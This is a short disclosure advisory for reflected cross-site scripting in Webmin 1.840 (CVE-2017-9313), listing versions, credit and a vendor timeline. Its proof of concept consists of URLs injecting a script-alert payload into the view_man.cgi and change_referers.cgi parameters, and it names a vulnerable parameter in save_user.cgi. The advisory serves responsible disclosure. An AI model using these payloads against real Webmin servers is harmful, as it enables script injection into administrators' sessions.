Webmin 1.840 Cross Site Scripting

Webmin version 1.840 suffers from a cross site scripting vulnerability.


MD5 | bb51602cc1da9c4e34fe8d5f821ccdd0

Vulnerability type: Reflected Cross Site Scripting
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Product: Webmin
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Affected version: Webmin 1.840 and possibly
earlier
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Patched version: Webmin 1.850
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Credit: Andy Tan
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CVE ID: CVE-2017-9313
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Proof of Concept
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Vulnerable Modules:
https://192.168.1.20:10000/man/view_man.cgi?page=foo&sec=<script>alert('xss')</script>

https://192.168.1.20:10000/webmin/change_referers.cgi?referer=0&referers=<script>alert('xss')</script>

https://192.168.1.20:10000/acl/save_user.cgi
(Vulnerable 'name' parameter)

Vendor contact timeline:
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2017-06-12: Contacted vendor.
2017-06-28: Vendor released new patch.
2017-07-02: Public disclosure.

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